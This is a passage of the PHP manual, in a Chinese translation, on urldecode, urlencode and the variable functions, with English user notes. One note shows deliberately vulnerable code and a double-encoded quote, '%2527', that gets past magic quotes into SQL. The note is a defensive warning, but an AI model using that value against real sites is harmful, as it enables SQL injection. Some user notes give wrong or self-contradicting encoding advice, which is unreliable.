Note also that some characters are currently "reserved" but should have instead been considered as "unsafe": this includes the parenthesis "()" which are clearly unsafe when a URL is used in MIME headers.

Because of this, if a valid URL contains "()" characters, one should use an upper-level encoding to either enclose the URL with a pair of "unsafe" characters defined in the upper-level protocol (for example a "<>" pair in MIME headers, because these characters cannot be part of a valid URL)...
15-Nov-2002 11:20
About the ";" reserved character in URLs:

rawurlencode() will encode it with a "%2A" triplet. When used on the path part of a URL, this will break the usage defined in URL RFCs, that allows specifying additional parameters to *EACH* element of a path (separated by "/").

So if a path element contains a ";" character (some filesystems allow it, but this is not recommanded) as part of a directory name, this character must be encoded so that it won't be mixed with a parameter extension.

This mapping is allowed on URLs that use a hierarchical scheme (HTTP, HTTPS, FTP, FILE, ...), so that each path element prefixed by "/" can have additional navigational parameters such as authorization strings or semantic parameters.

The generic format of a path element may include path elements such as:
"/." or "/.." or "/.specialname" or "/regularname"
Each part may be followed by a ";" and other parameters separated by ";". These parameters can be eithger ordered or unordered. Unordered parameters have a symbolic name separated from their value with an equal sign.

Do not mix path element parameters with a query string: these parameters are directly attached to the individual path element, and this makes a difference when this path element is not the last one of the URL. These parameters are part of the resource name (unlike the query string), and the semantic of "." and ".." apply to the full path element with its parameters, so that:
"/subdir1/subdir2/page.html;charset=UTF-8/../index.html"
will resolve to "/subdir1/index.html".

Note that:
"/subdir1/subdir2/page.html;charset=UTF-8"
designates a DISTINCT resource name from:
"/subdir1/subdir2/page.html"
It does not necessarily involves a query, and so it can be cached by default (unlike URLs that contain a query string).

When using path element parameters, their optional name and required value must be rawurlencode()'d separately before inserting ";" and "=" parameters and creating the path elements that will be imploded in the full path.

The consequence is that you MUST not urlencode() or rawurlencode individual path elements, without first parsing them:
- first explode the path into its path lements separated by "/"
- then explode each path element in their name and parameters separated by ";" characters
- then split path element parameters that contain a "=" sign into a name/value pair.
- make sure that unordered path paremeters (that have been cut according to "=" into a pair) are specified *after* ordered parameters (including the main path element name) in each path element, and that no two unordered parameters have the same name (this restriction does not occur on unordered, unnamed parameters which only supply a value).
- finally you can interpret rawurlencoded names and values that constitute each path element.

Note also that some non-compliant HTTP servers consider that named parameters are ordered, and don't add a semantic to the ";" and "=" used to break up the list of path element parameters. On client agents, when validating URLs, it's best then not to try to interpret this list, and you should just split the main part of a path element and the parameters list by isolating the first ";" that introduces this list. However, the encoded parameter list cannot include any "/" parameter.

Caveats: note that path element parameters (introduced by ";") may be used on upper levels of a hierarchic URL, even before the final document name and its query parameters. When building lists of URLs, you should not separate URLs blindly with a ";" separator, as each URL may include a ";" character, in their path part (the ";" character cannot ocur safely in a query string). In that case, use a surrounding pair such as "<>" or quotes to enclose each URL in such a list.
15-Nov-2002 10:41
--- 1) About "reserved" characters in URLS:

Beware that RFC 1738 specifies that the characters "{", "}", "|", "\", "^", "~", "[", "]", and "`" are all considered unsafe and SHOULD be URL-encoded with a "%xx" triplet within *ALL* URLs.

However, some HTTP URLs seem to use the "~" character as a prefix for a user account for example:
http://www.any.host.domain/~user/subpath/page.html?query#fragment

This usage is acceptable, but the RFC specifies that "%7E" should be used instead of "~" in the path component. HTTP servers should accept "~" as being equivalent to "%7E", and according to the RFC, the "%7E" form should be the canonical one.

However, some HTTP servers are not fully complying to this RFC and consider "%7E" differently from "~" (i.e. they consider it as being part of a path component name, and search a directory name containing a "~" character, instead of mapping the "~user" path component to a user's directory. In that case, these non compliant HTTP server will not find the resource associated to that URL and may return a 404 error or other errors such as an access denied.

When using rawurlencode() on such HTTP URLs, it's best to consider this legacy usage, by using str_replace() on the result to convert back "/%7E" to "/~", so that the URLs will correctly map to the legacy use of the "~" character by these servers. On compliant HTTP servers, they will treat the "~" unsafe character equivalently with the "%7E" recommanded form, so they will automatically canonicalize the "~" character into "%7E".

--- 2) Encoding of hostnames in URLs

Finally, beware that host domain names parts in URLs *MUST NOT* be encoded with rawurlencode(), as the "[" and "]" are valid delimiters that *MUST* be used to reference an IPv6 address or other hostnames that don't fit to the restricted set of characters allowed in a host name (the "[" and "]" characters MUST be used if the hostname includes characters such as ":" which is typically used to specify an alternate non-default port number).

The encoding of host names uses another encoding, required to encode international domain names, with a base-64 encoding of Unicode characters and a "bq--" prefix. This encoding must be used only on individual subdomain parts (separated by "." characters). This encoding does not use any "%xx" triplets.

So NEVER use urlencode() or rawurlencode() on an unparsed URL, unless this full URL is part of a query parameter string!

--- 3) Encoding of username/passwords in URLs:

There is no standard to specify a password in a URL. In fact, there's a legacy usage of the ":" character to separate a username from a password, but it is strongly discouraged. The RFC does not attempt to specify a semantic to the authentication part of an URL (before the "@" character and the hostname part).

If you need to encode a password, always use rawurlencode() on username and passwords separately, and then insert the ":" character to separate both components. Don't use urlencode() (which could use a "+" to encode a space, and would not work because usernames and passwords consider "+" and spaces as being different!)
13-Sep-2002 08:06
rawurlencode() MUST not be used on unparsed URLs.

rawurlencode() should not be used on host and domain name parts (that may include international characters encoded in each domain part with a "q--" prefix followed by a special encoding of the international domain, currently in testbed).

rawurlencode() may be used on usernames and passwords separately (so that it won't encode the ':' and '@' separators).

rawurlencode() must not be used on paths (that may contain '/' separators): the ['path'] element of a parsed URL must first be exploded into individual "directory" names. A directory or filename that contains a space must not be encoded with urlencode() but with this rawurlencode(), so that it will appear as a '%20' hex sequence (not '+')

rawurlencode() must not be used to encode the ['query'] element of a parsed URL. Instead you must use the urlencode() function:

Typical queries often use the '&' separator between each parameter. This '&' separator however is just a convention, used in the www-url-encoded format for HTML forms using the default GET method. However, when references are done in a HTML page to an URL that contains static query parameters, these '&' separators should be encoded in the HTML code as '&amp;' for HTML conformance. This is not part of the URL specification, but of the HTML encapsulation! Some browsers forget this, and send '&amp;' with their HTTP GET query. You may wish to substitute '&amp;' by '&' when parsing and validating URLs. This should be done BEFORE calling urlencode() on query parts.

The ['fragment'] part of a parsed URL (after the first '#' separator found in any URL) must not be encoded with this rawurlencode() function but instead by urlencode().

Validating a URL sent in a HTTP request is then more complicated than what you may think. This must be done only on parsed URLs (where the basic elements of an URL have been splitted), and then you must explode the path components, and check the presence of '&amp;' sequences in the query or fragment parts.

The next thing to do is to check the URL scheme that you want to support (for example, only 'http', 'https', or 'ftp').

You may wich to check the ['port'] part to see if it's really a decimal integer between 1 and 65535.
You may wish to remove the default port number used by the URL schemes you want to support (for example the port '80' for 'http', the port '21' for 'ftp', the port '443' for 'https'), and restrict severely all port numbers below 1024, or some critical ports below 140 (this includes DNS and NetBios ports).

Then you may wish to control severely the ['host'] part (in fact a full host domain name or an IP address), by forbidding those host names that don't contain at least one dot, forbidding those that start with a dot, those that contain two consecutive dots, those that start or finish with a '-' dash, those that contain '.-' or '-.' (invalid in all domain names), those that contain two dashes in another position than the second and third character of a domain name part and not folled by at least one other character, forbid top level domain names that have only one non numeric character, or more than 6 characters (".museum" is, for now, the longest acceptable TLD), check that pseudo-TLD names that are pure integers are effectively between 0 and 255, in that case check that this is a valid IPv4 address by comparing it to long2ip(ip2long($host)), ...

This done, you must use the urlencode() function on all parts up to the exploded path elements, and rawurlencode() on the query and fragment parts, according to the specs, to recreate a complete and validated URL.
dphantom at ticino dot com
04-Feb-2002 06:48
PHP's functions rawurlencode() and urlencode(), both encode the whole argument parameter string, making the result useless as a valid link.

The function listed here encodes a link string (e.g. http://www.domain.com/long_path/to\file.php?query=param#fragm) to a valid <a href=""> parameter string, preserving the original URI structure and the path given.

function linkencode ($p_url) {
   $ta = parse_url($p_url);
   if (!empty($ta[scheme])) { $ta[scheme].='://'; }
   if (!empty($ta[pass]) and !empty($ta[user])) {
           $ta[user].=':';
           $ta[pass]=rawurlencode($ta[pass]).'@';
   } elseif (!empty($ta[user])) {
       $ta[user].='@';
   }
   if (!empty($ta[port]) and !empty($ta[host])) {
       $ta[host]=''.$ta[host].':';
   } elseif    (!empty($ta[host])) {
       $ta[host]=$ta[host];
   }
   if (!empty($ta[path])) {
       $tu='';
       $tok=strtok($ta[path], "\\/");
       while (strlen($tok)) {
           $tu.=rawurlencode($tok).'/';
           $tok=strtok("\\/");
       }
       $ta[path]='/'.trim($tu, '/');
   }
   if (!empty($ta[query])) { $ta[query]='?'.$ta[query]; }
   if (!empty($ta[fragment])) { $ta[fragment]='#'.$ta[fragment]; }
   return implode('', array($ta[scheme], $ta[user], $ta[pass], $ta[host], $ta[port], $ta[path], $ta[query], $ta[fragment]));
}
add a note add a note

后退 | 起点 | 前进
rawurldecode | 上一级 | urldecode


urldecode

(PHP 3, PHP 4, PHP 5)

urldecode -- 解码已编码的 URL 字符串

描述

string urldecode ( string str )

解码给出的已编码字符串中的任何 %##。返回解码后的字符串。

例子 1. urldecode() example

<?php
$a = explode('&', $QUERY_STRING);
$i = 0;
while ($i < count($a)) {
    $b = split('=', $a[$i]);
    echo 'Value for parameter ', htmlspecialchars(urldecode($b[0])),
         ' is ', htmlspecialchars(urldecode($b[1])), "<br />\n";
    $i++;
}
?>

参见 urlencode()、rawurlencode() 与 rawurldecode()。

add a note add a note User Contributed Notes
Visual
19-May-2006 03:02
If you are escaping strings in javascript and want to decode them in PHP with urldecode (or want PHP to decode them automatically when you're putting them in the query string or post request), you should use the javascript function encodeURIComponent() instead of escape(). Then you won't need any of the fancy custom utf_urldecode functions from the previous comments.
rosty dot kerei at gmail dot com
20-Apr-2006 12:40
This function doesn't decode unicode characters. I wrote a function that does.

function unicode_urldecode($url)
{
   preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

   foreach ($a[1] as $uniord)
   {
       $dec = hexdec($uniord);
       $utf = '';

       if ($dec < 128)
       {
           $utf = chr($dec);
       }
       else if ($dec < 2048)
       {
           $utf = chr(192 + (($dec - ($dec % 64)) / 64));
           $utf .= chr(128 + ($dec % 64));
       }
       else
       {
           $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
           $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
           $utf .= chr(128 + ($dec % 64));
       }

       $url = str_replace('%u'.$uniord, $utf, $url);
   }

   return urldecode($url);
}
Aardvark
08-Mar-2006 05:20
The function below can be used to convert a query parameter resulting from applying the JavaScript escape function to a Unicode string back to Unicode.  The function was modified from a previously published function to handle escaped ASCII values in the range 128-255 which are converted to standard (and not Unicode) escapes by the escape function.  The option parameter allows an altenative encoding to UTF-8 to be apploed.  (More and related info can be found at http://www.kanolife.com/escape/).

function code2utf($num){
  if($num<128)
   return chr($num);
  if($num<1024)
   return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<32768)
   return chr(($num>>12)+224).chr((($num>>6)&63)+128)
         .chr(($num&63)+128);
  if($num<2097152)
   return chr(($num>>18)+240).chr((($num>>12)&63)+128)
         .chr((($num>>6)&63)+128).chr(($num&63)+128);
  return '';
}

function unescape($strIn, $iconv_to = 'UTF-8') {
  $strOut = '';
  $iPos = 0;
  $len = strlen ($strIn);
  while ($iPos < $len) {
   $charAt = substr ($strIn, $iPos, 1);
   if ($charAt == '%') {
     $iPos++;
     $charAt = substr ($strIn, $iPos, 1);
     if ($charAt == 'u') {
       // Unicode character
       $iPos++;
       $unicodeHexVal = substr ($strIn, $iPos, 4);
       $unicode = hexdec ($unicodeHexVal);
       $strOut .= code2utf($unicode);
       $iPos += 4;
     }
     else {
       // Escaped ascii character
       $hexVal = substr ($strIn, $iPos, 2);
       if (hexdec($hexVal) > 127) {
         // Convert to Unicode
         $strOut .= code2utf(hexdec ($hexVal));
       }
       else {
         $strOut .= chr (hexdec ($hexVal));
       }
       $iPos += 2;
     }
   }
   else {
     $strOut .= $charAt;
     $iPos++;
   }
  }
  if ($iconv_to != "UTF-8") {
   $strOut = iconv("UTF-8", $iconv_to, $strOut);
  }
  return $strOut;
}
spam at soiland dot no
06-Apr-2005 08:45
About reg_var and "html reserved words"

Do not add spaces as the user suggests.

Instead, do what all HTML standards says and encode & in URLs as &amp; in your HTML.

The reason why & works "most of the time" is that browsers are forgiving and just decode the & as the &-sign. This breaks whenever you have a variable that matches an HTML entity, like "gt" or "copy" or whatever. &copy in your URL will be interpreted as &copy;  (the ; is not mandatory in SGML as it is "implied". In XML it is mandatory.).  The result will be the same as if you had inserted the actual character into your source code, for instance by pressing alt-0169 and actually inserted  in your HTML.

Ie, use:

<a href="?name=stain&amp;fish=knott">mylink</a>

Note that the decoding of &amp; to & is done in the browser, and it's done right after splitting the HTML into tags, attributes and content, but it works both for attributes and content.

This mean you should &entitify all &-s in any other HTML attributes as well, such as in a form with
<input name="fish" value="fish &amp; fries" />.
Matt Johnson
26-Dec-2004 08:49
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
caribe at flash-brasil dot com dot br
14-Oct-2003 04:55
To allow urldecode to work with Brazilian characters as    and other just place this header command :

header('Content-type: text/html; charset=UTF-8');
09-Oct-2003 11:17
nataniel, your function needs to be corrected as follows:

------------------------------------------------------------
function unicode_decode($txt) {
  return ereg_replace('%u([[:alnum:]]{4})', '&#x\1;',$txt);
}
------------------------------------------------------------

since some codes does not begin with %u0.
tomas at penajaca dot com dot br
21-Jul-2003 02:14
urldecode does not decode "%0"  bypassing it. I can cause troble when you are working with fixed lenght strings.

You can you the function below.

function my_urldecode($string){

  $array = split ("%",$string);

  if (is_array($array)){
   while (list ($k,$v) = each ($array)){
       $ascii = base_convert ($v,16,10);
       $ret .= chr ($ascii);
   }
 }
 return ("$ret");
}
regindk at hotmail dot com
24-Apr-2003 09:00
About: bellani at upgrade4 dot it
$str = "pippo.php?param1=&reg_var";
echo rawurldecode($str);
Gives:
pippo.php?param1=_var
Instead of using a space you should exchange & with the correct W3C &amp;
Like this:
$str = "pippo.php?param1=&amp;reg_var";
echo rawurldecode($str);
bellani at upgrade4 dot it
12-Mar-2003 02:12
If you have a "html reserved word" as variable name (i.e. "reg_var") and you pass it as an argument you will get  a wrong url. i.e.

<a href="pippo.php?param1=&reg_var=">go</a>

you will get a wrong url like this

"pippo.php?param1=_var"

Simply add a space between "&" and "reg_var" and it will work!

<a href="pippo.php?param1=& reg_var=">go</a>

"pippo.php?param1=&%20reg_var"

Works!!
smolniy at mtu dot ru
08-Feb-2003 06:42
For compatibility of new and old brousers:

%xx -> char
%u0xxxx -> char

function unicode_decode($txt) {
 $txt = ereg_replace('%u0([[:alnum:]]{3})', '&#x\1;',$txt);
 $txt = ereg_replace('%([[:alnum:]]{2})', '&#x\1;',$txt);
 return ($txt);
}
igjav at cesga dot es
17-May-2002 02:48
This seems to decode correctly between most browsers and charater coding configurations. Specially indicated for direct parsing of URL as it comes on environment variables:

function crossUrlDecode($source) {
   $decodedStr = '';
   $pos = 0;
   $len = strlen($source);

   while ($pos < $len) {
       $charAt = substr ($source, $pos, 1);
       if ($charAt == '') {
           $char2 = substr($source, $pos, 2);
           $decodedStr .= htmlentities(utf8_decode($char2),ENT_QUOTES,'ISO-8859-1');
           $pos += 2;
       }
       elseif(ord($charAt) > 127) {
           $decodedStr .= "&#".ord($charAt).";";
           $pos++;
       }
       elseif($charAt == '%') {
           $pos++;
           $hex2 = substr($source, $pos, 2);
           $dechex = chr(hexdec($hex2));
           if($dechex == '') {
               $pos += 2;
               if(substr($source, $pos, 1) == '%') {
                   $pos++;
                   $char2a = chr(hexdec(substr($source, $pos, 2)));
                   $decodedStr .= htmlentities(utf8_decode($dechex . $char2a),ENT_QUOTES,'ISO-8859-1');
               }
               else {
                   $decodedStr .= htmlentities(utf8_decode($dechex));
               }
           }
           else {
               $decodedStr .= $dechex;
           }
           $pos += 2;
       }
       else {
           $decodedStr .= $charAt;
           $pos++;
       }
   }

   return $decodedStr;
}
add a note add a note

后退 | 起点 | 前进
rawurlencode | 上一级 | urlencode


urlencode

(PHP 3, PHP 4, PHP 5)

urlencode -- 编码 URL 字符串

描述

string urlencode ( string str )

返回字符串，此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数，空格则编码为加号（+）。此编码与 WWW 表单 POST 数据的编码方式是一样的，同时与 application/x-www-form-urlencoded 的媒体类型编码方式一样。由于历史原因，此编码在将空格编码为加号（+）方面与 RFC1738 编码（参见 rawurlencode()）不同。此函数便于将字符串编码并将其用于 URL 的请求部分，同时它还便于将变量传递给下一页：

例子 1. urlencode() 示例

<?php
echo '<a href="mycgi?foo=', urlencode($userinput), '">';
?>

注意：小心与 HTML 实体相匹配的变量。像 &amp、&copy 和 &pound 都将被浏览器解析，并使用实际实体替代所期待的变量名。这是明显的混乱，W3C 已经告诫人们好几年了。参考地址：http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2 PHP 通过 arg_separator .ini 指令，支持将参数分割符变成 W3C 所建议的分号。不幸的是大多数用户代理并不发送分号分隔符格式的表单数据。较为简单的解决办法是使用 &amp; 代替 & 作为分隔符。你不需要为此修改 PHP 的 arg_separator。让它仍为 &，而仅使用 htmlentities(urlencode($data)) 对你的 URL 进行编码。

例子 2. urlencode() 与 htmlentities() 示例

<?php
echo '<a href="mycgi?foo=', htmlentities(urlencode($userinput)), '">';
?>

参见 urldecode()、htmlentities()、rawurldecode() 与 rawurlencode()。

add a note add a note User Contributed Notes
Roamy: info AT roamy DOT de
29-Jan-2006 03:58
<?// urlencode + urldecode 4 Linux/Unix-Servers:=============
//==================================================
//=====This small script matches all encoded String for ========
//=====Linux/Unix-Servers For IIS it got to be  The Other Way  ==
//===== around...and remember in a propper Url =============
//===== there shoudn't be the 'dirty Letter': %C3==============
//==================================================
function int2hex($intega){
   $Ziffer = "0123456789ABCDEF";
return $Ziffer[($intega%256)/16].$Ziffer[$intega%16];
}
function url_decode($text){
   if(!strpos($text,"%C3"))
       for($i=129;$i<255;$i++){
           $in = "%".int2hex($i);
           $out = "%C3%".int2hex($i-64);
           $text = str_replace($in,$out,$text);
       }
return urldecode($text);
}
function url_encode($text){
   $text = urlencode($text);
   if(!strpos($text,"%C3"))
       for($i=129;$i<255;$i++){
           $in = "%".int2hex($i);
           $out = "%C3%".int2hex($i-64);
           $text = str_replace($in,$out,$text);
       }
return $text;
}//==================================================
?>
torecs at sfe dot uio dot no
11-Jan-2006 07:30
This very simple function makes an valid parameters part of an URL, to me it looks like several of the other versions here are decoding wrongly as they do not convert & seperating the variables into &amp;.

  $vars=array('name' => 'tore','action' => 'sell&buy');
  echo MakeRequestUrl($vars);

  /* Makes an valid html request url by parsing the params array
   * @param $params The parameters to be converted into URL with key as name.
   */
  function MakeRequestUrl($params)
  {
     $querystring=null;
   foreach ($params as $name => $value)
   {
     $querystring=$name.'='.urlencode($value).'&'.$querystring;
   }
     // Cut the last '&'
     $querystring=substr($querystring,0,strlen($querystring)-1);
     return htmlentities($querystring);
  }

  Will output: action=sell%26buy&amp;name=tore
roberlamerma at gmail dot com
22-Nov-2005 11:00
I rewrote inus at flowingcreativity dot net function to generate an encoded url string from the POST, or GET array. It handles properly POST/GET array vars.

function _HTTPRequestToString($arr_request, $var_name, $separator='&') {
   $ret = "";
   if (is_array($arr_request)) {
       foreach ($arr_request as $key => $value) {
           if (is_array($value)) {
               if ($var_name) {
                   $ret .= $this->_HTTPRequestToString($value, "{$var_name}[{$key}]", $separator);
               } else {
                   $ret .= $this->_HTTPRequestToString($value, "{$key}", $separator);
               }
           } else {
               if ($var_name) {
                   $ret .= "{$var_name}[{$key}]=".urlencode($value)."&";
               } else {
                   $ret .= "{$key}=".urlencode($value)."&";
               }
           }
       }
   }
   if (!$var_name) {
       $ret = substr($ret,0,-1);
   }
   return $ret;
}
Chris
01-Nov-2005 12:54
Just remember that according to W3C standards, you must rawurlencode() the link that's provided at the end of a mailto.

i.e.
<a href="mailto:jdoe@some.where.com?Subject=Simple testing(s)&bcc=jane@some.where.com">Mail Me</a>

Needs to be escaped (which rawurlencode() does for us).
The colon is OK after "mailto", as is the "@" after the e-mail name.
However, the rest of the URL needs to be encoded, replacing the following:
'?' => %3F
'=' => %3D
' ' => %20
'(' => %28
')' => %29
'&' => %26
'@' => %40 (note this one is in 'jane@some.where.com'

I tried to post the note with the correct text (that is the characters replaced in the note), but it said that there was a line that was too long, and so wouldn't let me add the note.

As a secondary note, I noticed that the auto-conversion routines at this site itself stopped the link at the space after "Simple testing(s)' in the first entry shown above.
bisqwit at iki dot fi
02-Sep-2005 04:27
Constructing hyperlinks safely HOW-TO:

<?php
$path_component = 'machine/generated/part';
$url_parameter1 = 'this is a string';
$url_parameter2 = 'special/weird "$characters"';

$url = 'http://example.com/lab/cgi/test/'. rawurlencode($path_component) . '?param1=' . urlencode($url_parameter1) . '&param2=' . urlencode($url_parameter2);

$link_label = "Click here & you'll be <happy>";

echo '<a href="', htmlspecialchars($url), '">', htmlspecialchars($link_label), '</a>';
?>

This example covers all the encodings you need to apply in order to create URLs safely without problems with any special characters. It is stunning how many people make mistakes with this.

Shortly:
- Use urlencode for all GET parameters (things that come after each "=").
- Use rawurlencode for parts that come before "?".
- Use htmlspecialchars for HTML tag parameters and HTML text content.
R Mortimer
26-Aug-2005 04:14
Do not let the browser auto encode an invalid URL. Not all browsers perform the same encodeing. Keep it cross browser do it server side.
Bachsau
13-Aug-2005 01:24
Diferrent from the above example you do not have to encode URLs in hrefs with this. The browser does it automaticaly, so you just have to encode it with htmlentities() ;)
linus at flowingcreativity dot net
05-Jul-2005 12:14
I just came across the need for a function that exports an array into a query string. Being able to use urlencode($theArray) would be nice, but here's what I came up with:

<?php

function urlencode_array(
   $var,                // the array value
   $varName,            // variable name to be used in the query string
   $separator = '&'    // what separating character to use in the query string
) {
   $toImplode = array();
   foreach ($var as $key => $value) {
       if (is_array($value)) {
           $toImplode[] = urlencode_array($value, "{$varName}[{$key}]", $separator);
       } else {
           $toImplode[] = "{$varName}[{$key}]=".urlencode($value);
       }
   }
   return implode($separator, $toImplode);
}

?>

This function supports n-dimensional arrays (it encodes recursively).
edwardzyang at thewritingpot dot com
16-Apr-2005 04:48
I was testing my input sanitation with some strange character entities. Ones like  and  were passed correctly and were in their raw form when I passed them through without any filtering.

However, some weird things happen when dealing with characters like (these are HTML entities): &#8252; &#9616; &#9488;and &#920; have weird things going on.

If you try to pass one in Internet Explorer, IE will *disable* the submit button. Firefox, however, does something weirder: it will convert it to it's HTML entity. It will display properly, but only when you don't convert entities.

The point? Be careful with decorative characters.

PS: If you try copy/pasting one of these characters to a TXT file, it will translate to a ?.
Timwi
17-Feb-2005 07:49
The information on this page is misleading in that you might think the ampersand (&) will only need to be escaped as &amp; when there is ambiguity with an existing character entity. This is false; the W3C page linked to from here clarifies that the ampersands must ALWAYS be escaped.

The following:

  <a href='/script.php?variable1=value1&variable2=value2'>Link</a>

is INVALID HTML. It needs to be written as:

  <a href='/script.php?variable1=value1&amp;variable2=value2'>Link</a>

in order for the link to go to:

  /script.php?variable1=value1&variable2=value2

I applaud the W3C's recommendation to use semicolons (';') instead of the ampersands, but it doesn't really change the fact that you still need to HTML-escape the value of all your HTML tag attributes. The following:

  <span title='Rose & Mary'>Some text</span>

is also INVALID HTML. It needs to be escaped as:

  <span title='Rose &amp; Mary'>Some text</span>
george at ishop dot com
04-Nov-2004 05:35
---[ Editor's Note ]---
You can also use rawurlencode() here, and skip the functions provided in this note.
---[ /Editor's Nore]---

For handling slashes in redirections, (see comment from cameron at enprises dot com), try this :

function myurlencode ( $TheVal )
{
 return urlencode (str_replace("/","%2f",$TheVal));
}

function myurldecode ( $TheVal )
{
 return str_replace("%2f","/",urldecode ($TheVal));
}

This is effectively a double urlencode for slashes and single urlencode for everything else.  So, it is more "standardised" than his suggestion of using a + sign, and more readable (and search engine indexable) than a full double encode/decode.
neugey at cox dot net
18-Sep-2004 04:51
Be careful when encoding strings that came from simplexml in PHP 5.  If you try to urlencode a simplexml object, the script tanks.

I got around the problem by using a cast.

$newValue = urlencode( (string) $oldValue );
monty3 at hotmail dot com
09-Sep-2004 04:00
If you want to pass a url with parameters as a value IN a url AND through a javascript function, such as...

   <a href="javascript:openWin('page.php?url=index.php?id=4&pg=2');">

...pass the url value through the PHP urlencode() function twice, like this...

<?php

   $url = "index.php?id=4&pg=2";
   $url = urlencode(urlencode($url));

   echo "<a href=\"javascript:openWin('page.php?url=$url');\">";
?>

On the page being opened by the javascript function (page.php), you only need to urldecode() once, because when javascript 'touches' the url that passes through it, it decodes the url once itself. So, just decode it once more in your PHP script to fully undo the double-encoding...

<?php

   $url = urldecode($_GET['url']);
?>

If you don't do this, you'll find that the result url value in the target script is missing all the var=values following the ? question mark...

   index.php?id=4
issue9mm at leafapplication dot com
08-Oct-2002 09:53
Just a simple comment, really, but if you need to encode apostrophes, you should be using rawurlencode as opposed to just urlencode.

Naturally, I figured that out the hard way.
add a note add a note

后退 | 起点 | 前进
urldecode | 上一级 | Variable 变量函数


Variable 变量函数

PHP 手册
后退 前进

CXLIX. Variable 变量函数

简介

有关变量行为方式的信息请查看本手册语言参考部分的变量条目。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. 变量配置选项

名称 | 默认值 | 可修改范围 | 更新记录
unserialize_callback_func | NULL | PHP_INI_ALL | 自 PHP 4.2.0 起可用。
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

unserialize_callback_func string

如果解串行器发现有未定义类要被实例化，将会调用 unserialize() 回调函数（用该未定义类名作为参数）。如果指定函数不存在，或者此函数没有包含／实现该未定义类，则显示警告。所以仅在确实需要实现这样的回调函数时才设置该选项。

参见 unserialize()。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
debug_zval_dump -- Dumps a string representation of an internal zend value to output
doubleval -- floatval() 的别名
empty -- 检查一个变量是否为空
floatval -- 获取变量的浮点值
get_defined_vars -- 返回由所有已定义变量所组成的数组
get_resource_type -- 返回资源（resource）类型
gettype -- 获取变量的类型
import_request_variables -- 将 GET／POST／Cookie 变量导入到全局作用域中
intval -- 获取变量的整数值
is_array -- 检测变量是否是数组
is_bool -- 检测变量是否是布尔型
is_callable -- 检测参数是否为合法的可调用结构
is_double -- is_float() 的别名
is_float -- 检测变量是否是浮点型
is_int -- 检测变量是否是整数
is_integer -- is_int() 的别名
is_long -- is_int() 的别名
is_null -- 检测变量是否为 NULL
is_numeric -- 检测变量是否为数字或数字字符串
is_object -- 检测变量是否是一个对象
is_real -- is_float() 的别名
is_resource -- 检测变量是否为资源类型
is_scalar -- 检测变量是否是一个标量
is_string -- 检测变量是否是字符串
isset -- 检测变量是否设置
print_r -- 打印关于变量的易于理解的信息。
serialize -- 产生一个可存储的值的表示
settype -- 设置变量的类型
strval -- 获取变量的字符串值
unserialize -- 从已存储的表示中创建 PHP 的值
unset -- 释放给定的变量
var_dump -- 打印变量的相关信息
var_export -- 输出或返回一个变量的字符串表示

add a note add a note User Contributed Notes
jfrasca at sheerdev dot com
01-Sep-2005 01:27
I needed a simple function that would reduce any kind of variable to a string or number while retaining some semblance of the data that was stored in the variable. This is what I came up with:

<?
function ReduceVar ($Value) {
   switch (gettype($Value)) {
       case "boolean":
       case "integer":
       case "double":
       case "string":
       case "NULL":
           return $Value;
       case "resource":
           return get_resource_type($Value);
       case "object":
           return ReduceVar(get_object_vars($Value));
       case "array":
           if (count($Value) <= 0)
               return NULL;
           else
               return ReduceVar(reset($Value));
       default:
           return NULL;
   }
}
?>
skelley at diff dot nl
23-Sep-2001 07:55
Sorry to say Mykolas, but your definition would not be correct.

isempty() evaluates to true for NULL, 0, "", false or 'not set' for any variable, object etc. that can be set to a value.

isset() evaluates to true if the variable, object etc. exists at all, whether it is 'empty' or not.

Example:
$foo = 0;
isset($foo); //will evaluate to true.
!empty($foo); //will evaluate to false.

unset($foo);
isset($foo); //will evaluate to false.
!empty($foo); //will evaluate to false.
tapken at engter dot de
05-May-2001 12:41
This function will return a nice tree-view of an array. It's like var_dump but much prettier :-)
Very useful to analyze an array while debugging.
function parray($array,$prep = '') {
/* (c) by Roland Tapken <tapken@engter.de> */
$prep = "$prep|";
while(list($key,$val) = each($array)) {
$type = gettype($val);
if(is_array($val)) {
$line = "-+ $key ($type)\n";
$line .= parray($val,"$prep ");
} else {
$line = "-&gt; $key = \"$val\" ($type)\n";
}
$ret .= $prep.$line;
}
return $ret;
}

Example:
$array = array("test",2,array("foo" => "bar"), 4.23);
echo "<pre>";
echo parray($array);
echo "</pre>";
This will print:
|-> 0 = "test" (string)
|-> 1 = "2" (integer)
|-+ 2 (array)
| |-> foo = "bar" (string)
|-> 3 = "4.23" (double)
add a note add a note

后退 | 起点 | 前进
urlencode | 上一级 | debug_zval_dump


debug_zval_dump

(PHP 4 >= 4.2.0, PHP 5)

debug_zval_dump -- Dumps a string representation of an internal zend value to output

说明

void debug_zval_dump ( mixed variable )

Dumps a string representation of an internal zend value to output.

参数

variable

The variable being evaluated.

返回值

无返回值。

范例

例子 1. debug_zval_dump() example

<?php
$var1 = 'Hello World';
$var2 = '';

$var2 =& $var1;

debug_zval_dump(&$var1);
?>

上例将输出：

string(11) "Hello World" refcount(3)

Beware the refcount: The refcount value returned by this function is non-obvious in certain circumstances. For example, a developer might expect the above example to indicate a refcount of 2. The third reference is created when actually calling debug_zval_dump().

